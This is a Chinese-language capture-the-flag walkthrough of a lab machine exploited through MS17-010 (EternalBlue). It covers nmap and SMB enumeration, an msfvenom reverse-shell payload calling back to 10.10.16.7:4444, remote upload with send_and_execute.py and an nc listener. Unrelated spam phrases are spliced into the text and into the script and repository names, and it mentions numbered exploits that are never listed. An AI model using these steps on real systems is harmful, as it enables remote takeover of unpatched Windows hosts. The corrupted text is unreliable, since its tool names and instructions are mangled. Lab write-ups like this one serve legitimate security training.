ms17-010漏洞，也就是广为人知的永恒之蓝，非常简单的一个靶机，因为几乎不用提权，ms17-010漏洞使用成功获取的就是system级别的权限
勘探
常规操作
先用nmap扫ios应用商店
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.40

扫描之后发现开了135，139，445端口，经过445端口发现系统是win7sp1 7601
典型的永恒之蓝ms17-010漏洞
之后我们可以用之前在nmap使用篇中提及的vuln模式来扫描一下靶机，这个模式可以直接扫描出可以利用的ms漏洞
nmap -p 445 --script vuln 10.10.10.40

使用smbmap勘探一下
smbmap -H 10.10.10.40

可以看到有两个文件夹可以访问
smbclient //10.10.10.40/share
smbclient //10.10.10.40/users
然后shell是什么意思中文发现这两个文件夹都是空文件夹

由于确定了是ms17-010漏洞，那么就省了提权的麻烦，直接就能获得system权限，那么这里演示手动和msf两种方法

发现3和4一个探测一个命令执行，1是win8，5利用后门，那么依次尝试0和2，我用2成功了，但是没留过程这里用0xdf的0的过程
首先使用0号exp

可能需要多尝试几次，我尝试了三四次才成功
手动
使用一个python脚本GitHub – helvishell编程ojunior/MS17-010: MS17-010
这个脚本我ios应用商店就利用那个send_and_eios系统xecute.py这个脚本来上传我们的回连脚github下载本
msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f exe -o backdoor.exe
这样创建一个
python send_and_execute.py 10.10.10.40 backdoor.exe
然后用python执行
最后打开nc监听就好
nc -lvnp 4444
